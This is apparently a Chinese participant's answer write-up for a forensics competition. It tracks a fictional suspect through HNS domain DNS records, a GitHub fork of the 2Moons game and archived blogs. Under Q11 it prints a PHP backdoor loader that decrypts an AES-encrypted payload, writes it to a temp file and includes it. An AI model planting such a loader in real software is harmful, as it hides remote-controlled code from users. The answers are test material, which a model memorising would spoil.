体验

FIC这次互联网部分其实让我非常的惊喜，出题算是非常的新颖，也很适合拿来作为取证题，又能学点新技术又能折腾点新东西还不错希望之后能继续延续，本WP是做题记录不算是完整WP，最后直播看到正确15题，还有两题没有提交，所以可能有两道题目出错，往大佬们指正谢谢。

Q1

难度：@

请分析检材二，找到李某上游人员陈某博客宣传所用域名为

微信聊天记录很简单直接出

答案chen.foren6

Q2

难度：@@

请分析陈某宣传所用域名，该域名的顶级域名在以下那个区块链注册

这道题做题路径其实有点奇怪，我是一开始就做好了第八题，里面有个hs开头的钱包地址第一反应是hns，正确做法应该是去各个网站官网尝试查询域名出售记录，查询HNS时也能查到。

答案B.HNS（https://handshake.org/）

Q3

难度：@@

请分析陈某宣传所用域名的顶级域名的域名解析服务器（DNS)共有几个

检索HNS DNS可以搜到很多DNS服务，但是我虚拟机炸了加上powershell之前nslookup被我玩坏了，就尝试找了个DOH（DNS over HTTP(S))的服务用api查询，拼接结果即可。

答案：2

Q4

难度：@@

请分析陈某宣传所用域名的顶级域名的NS1服务器ip为

像上述过程查询记录即可

答案45.79.133.98

Q5

难度：@@

请分析陈某宣传所用域名，该域名DNS记录指向邮件服务器域名为

像上述过程查询记录即可

答案mail.163.com

Q6

难度：@@@

请分析陈某宣传所用域名，该域名的txt记录中chen的值为

像上述过程查询记录即可，题目说只要chen的值就只要后半部分

答案fengbaoliejiu

Q7

难度：@@

请分析陈某宣传所用域名，该域名DNS记录没有以下那个域名 A、admin.chen.foren6 B、caidan.chen.foren6 C、fic.chen.foren6 D、hl.chen.foren6

像上述过程查询记录即可，根据DNS查询状态码进行判断0为成功3为不存在。

ABC选项状态码为0（其中fic.chen.foren6在比赛期间为0，结束后为3了），选项D为3

答案D、hl.chen.foren6

Q8

难度：@@@

请分析陈某宣传所用域名，该博客域名最终DNS解析指向的github仓库名为

其实当时第一反应是虚拟域名直接打开Github Code搜了下结果真的有算是非预期了。

答案chewhaoN.github.io

Q9

难度：@@@

请分析陈某github账号，陈某对jkroepke/2Moons项目增改了几个文件

第一反应查diff，diff有个比较方便的方式就是查hash，结果如下

按哈希算是222个，但是实际上个人感觉真有变化的就2个。答案不确定

Q10

难度：@@@@

请分析陈某github账号，陈某在修改2Moons过程中提到了什么锅底

新增的两个文件里面其中一个是php，那大概率是马果然文件最后就有马，URL解码后就有蜂蜜锅底（口味太重了）

URL解码后就是蜂蜜锅底

答案蜂蜜锅底

Q11

难度：@@@

请分析陈某github账号，陈某在游戏2Moons中放置的后门连接码的密码为

在文件中找到木马后按逻辑写个逆向，md5自己下一下文件计算下就可以了

<?php
$b=hex2bin("16ca13d6d1694226be748bb9be927a38");
$c="9T8NBGdXI1Xe46fDOsPmrmuhAD9Rk/XQMRukLHJDXMm9wexBjKY/8QQv1OvxCiA87B0ZQ9kFgQiJ0fCquio0EcK5sWr1yUMYrapSWgUXMbD2/P4Qs9lO1cc53rRgZ8lg5r7d21YJkFFkyKJDMAmEjw==";
$d=base64_decode($c);
$e='aes-256-cbc';
$f=openssl_cipher_iv_length($e);
$g=substr($d,0,$f);
$h=substr($d,$f);
$i=openssl_decrypt($h,$e,$b,OPENSSL_RAW_DATA,$g);
$j=sys_get_temp_dir();
​
 $k='./func_'.uniqid().'.php';
file_put_contents($k,"<?php\n".$i);
include $k;

答案ficnb

Q12

难度：@@

请访问陈某当前博客，陈某课程的扫码报名地址的域名为

答案fic.forensix.cn

Q13

难度：@@@

请分析陈某当前博客，通过互联网找到陈某的旧博客网站标题为

历史记录第一时间想到的各大搜索引擎记录，但是搜索无果，第二个就是历史快照看了下发现猜对了，结果如下

答案柳如烟大战霸天虎

Q14

难度:@@@@

请分析陈某旧博客，陈某的姓名为

过程如上

答案陈浩北

Q15

请分析陈某旧博客，陈某的邮箱地址为

看到connect是空的想着F12一下，确实是有的

答案mailme@chen.foren6

Q16

难度:@@@@

请分析陈某旧博客，陈某的11位手机号为

同上

答案13170010703

Q17

难度：@@@@@

请分析陈某旧博客，陈某最爱的dota英雄为 A赏金猎人 B幻影刺客 C斧王 D邪影芳灵

圣刀会也没我这么厉害

听说是邪影芳灵的台词不确定

答案D邪影芳灵